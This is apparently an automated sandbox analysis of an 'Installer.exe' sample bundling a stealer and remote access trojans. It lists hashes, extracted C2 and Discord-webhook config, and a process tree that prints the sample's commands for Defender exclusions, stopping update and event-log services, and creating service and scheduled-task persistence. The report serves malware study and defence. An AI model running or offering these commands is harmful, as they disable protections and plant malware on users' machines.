growtopia | 817cac7fcfdc0f48444c45be772997707761e2ca1e43e8d53f8f7e0e7a1e42b0

Analysis

max time kernel
164s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
18-04-2024 22:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Installer.exe
Size

12.6MB
MD5

e560d8abab1b94fa698c5164b10c4fa5
SHA1

7b7e2334f06610ebcb9ac796c471961df6a6c377
SHA256

817cac7fcfdc0f48444c45be772997707761e2ca1e43e8d53f8f7e0e7a1e42b0
SHA512

cc546819fbf9cb40c8bd7c9f686b2d7e189b624fc94a8075e0a43ebcf83d28ed4fc51227c3450e94de91e2c72ce6ce68d7f5e6f8e9e390406da4bcc32470af16
SSDEEP

196608:MgINJY5ucj/+mDZR65PzwNVnQwOsayF0RjPLIp+I3U84IXrTNtNp0GIUOueu/ty:MR+59nYRzw0wlF0RjPLIECU84EJ49h

Score

10^/10

growtopia xenorat zgrat evasion persistence pyinstaller rat stealer trojan

Malware Config

Extracted

Family

xenorat

jctestwindows.airdns.org

Mutex

Xeno_rat_nd8913d

Attributes

delay
5000
install_path
temp
port
45010
startup_name
WindowsErrorHandler

Extracted

Family

growtopia

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Signatures

Detect ZGRat V1 33 IoCs

resource	yara_rule
behavioral2/memory/4796-52-0x0000000005730000-0x000000000579C000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-56-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-63-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-86-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-97-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-104-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-100-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-72-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-58-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-111-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-113-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-126-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-128-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-145-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-148-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-150-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-152-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-154-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-156-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-159-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-161-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-168-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-170-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-172-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-174-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-176-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-178-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-180-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-187-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-196-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-219-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-211-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1
behavioral2/memory/4796-222-0x0000000005730000-0x0000000005795000-memory.dmp	family_zgrat_v1

Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	WinErrorMgr.exe

Executes dropped EXE 8 IoCs

pid	Process
4796	Ilkdt.exe
1648	WinHostMgr.exe
1724	WinErrorMgr.exe
348	KeyGeneratorI.exe
3956	Sahyui1337.exe
208	WinErrorMgr.exe
2976	KeyGeneratorI.exe
5456	bauwrdgwodhv.exe

Loads dropped DLL 4 IoCs

pid	Process
2976	KeyGeneratorI.exe
2976	KeyGeneratorI.exe
2976	KeyGeneratorI.exe
2976	KeyGeneratorI.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
40	discord.com
41	discord.com
102	pastebin.com
103	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
294	api.ipify.org
296	api.ipify.org
355	api.ipify.org
393	api.ipify.org

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	WinHostMgr.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	bauwrdgwodhv.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5456 set thread context of 2644	5456	bauwrdgwodhv.exe	177
PID 5456 set thread context of 6120	5456	bauwrdgwodhv.exe	182

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5948	sc.exe
6020	sc.exe
5736	sc.exe
5876	sc.exe
5548	sc.exe
5844	sc.exe
5884	sc.exe
5796	sc.exe
5356	sc.exe
5264	sc.exe
3976	sc.exe
5928	sc.exe
5636	sc.exe
5724	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0007000000023401-38.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1744	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 50 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3956	Sahyui1337.exe
3956	Sahyui1337.exe
4776	powershell.exe
4776	powershell.exe
1668	msedge.exe
1668	msedge.exe
4916	msedge.exe
4916	msedge.exe
1488	identity_helper.exe
1488	identity_helper.exe
1648	WinHostMgr.exe
2272	powershell.exe
2272	powershell.exe
2272	powershell.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
1648	WinHostMgr.exe
5456	bauwrdgwodhv.exe
5468	powershell.exe
5468	powershell.exe
5468	powershell.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
5456	bauwrdgwodhv.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe
6120	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 43 IoCs

pid	Process
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	Ilkdt.exe
Token: SeDebugPrivilege	3956	Sahyui1337.exe
Token: SeDebugPrivilege	4776	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeShutdownPrivilege	6012	powercfg.exe
Token: SeCreatePagefilePrivilege	6012	powercfg.exe
Token: SeShutdownPrivilege	6004	powercfg.exe
Token: SeCreatePagefilePrivilege	6004	powercfg.exe
Token: SeShutdownPrivilege	5996	powercfg.exe
Token: SeCreatePagefilePrivilege	5996	powercfg.exe
Token: SeShutdownPrivilege	5988	powercfg.exe
Token: SeCreatePagefilePrivilege	5988	powercfg.exe
Token: SeDebugPrivilege	5468	powershell.exe
Token: SeShutdownPrivilege	5964	powercfg.exe
Token: SeCreatePagefilePrivilege	5964	powercfg.exe
Token: SeShutdownPrivilege	6032	powercfg.exe
Token: SeCreatePagefilePrivilege	6032	powercfg.exe
Token: SeShutdownPrivilege	6080	powercfg.exe
Token: SeCreatePagefilePrivilege	6080	powercfg.exe
Token: SeShutdownPrivilege	6056	powercfg.exe
Token: SeCreatePagefilePrivilege	6056	powercfg.exe
Token: SeLockMemoryPrivilege	6120	explorer.exe

Suspicious use of FindShellTrayWindow 53 IoCs

pid	Process
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe
5956	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5876	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 324 wrote to memory of 4776	324	Installer.exe	93
PID 324 wrote to memory of 4776	324	Installer.exe	93
PID 324 wrote to memory of 4776	324	Installer.exe	93
PID 324 wrote to memory of 4796	324	Installer.exe	95
PID 324 wrote to memory of 4796	324	Installer.exe	95
PID 324 wrote to memory of 4796	324	Installer.exe	95
PID 324 wrote to memory of 1648	324	Installer.exe	96
PID 324 wrote to memory of 1648	324	Installer.exe	96
PID 324 wrote to memory of 1724	324	Installer.exe	97
PID 324 wrote to memory of 1724	324	Installer.exe	97
PID 324 wrote to memory of 1724	324	Installer.exe	97
PID 324 wrote to memory of 348	324	Installer.exe	98
PID 324 wrote to memory of 348	324	Installer.exe	98
PID 324 wrote to memory of 3956	324	Installer.exe	100
PID 324 wrote to memory of 3956	324	Installer.exe	100
PID 1724 wrote to memory of 208	1724	WinErrorMgr.exe	101
PID 1724 wrote to memory of 208	1724	WinErrorMgr.exe	101
PID 1724 wrote to memory of 208	1724	WinErrorMgr.exe	101
PID 348 wrote to memory of 2976	348	KeyGeneratorI.exe	102
PID 348 wrote to memory of 2976	348	KeyGeneratorI.exe	102
PID 2976 wrote to memory of 4916	2976	KeyGeneratorI.exe	104
PID 2976 wrote to memory of 4916	2976	KeyGeneratorI.exe	104
PID 4916 wrote to memory of 4196	4916	msedge.exe	105
PID 4916 wrote to memory of 4196	4916	msedge.exe	105
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106
PID 4916 wrote to memory of 2328	4916	msedge.exe	106

C:\Users\Admin\AppData\Local\Temp\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Installer.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AbQBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHYAcABpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAbgBpACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAcQB2ACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4776
- C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
  "C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4796
- C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1648
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5540
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:5680
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5548
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5636
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5724
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:5844
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:5948
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5988
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5996
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6004
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6012
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:6020
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:3976
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:5356
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:5264
- C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
    "C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
    3⤵
    - Executes dropped EXE
    PID:208
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF1B3.tmp" /F
      4⤵
      Creates scheduled task(s)
      PID:1744
- C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
  "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:348
- - C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
    "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2976
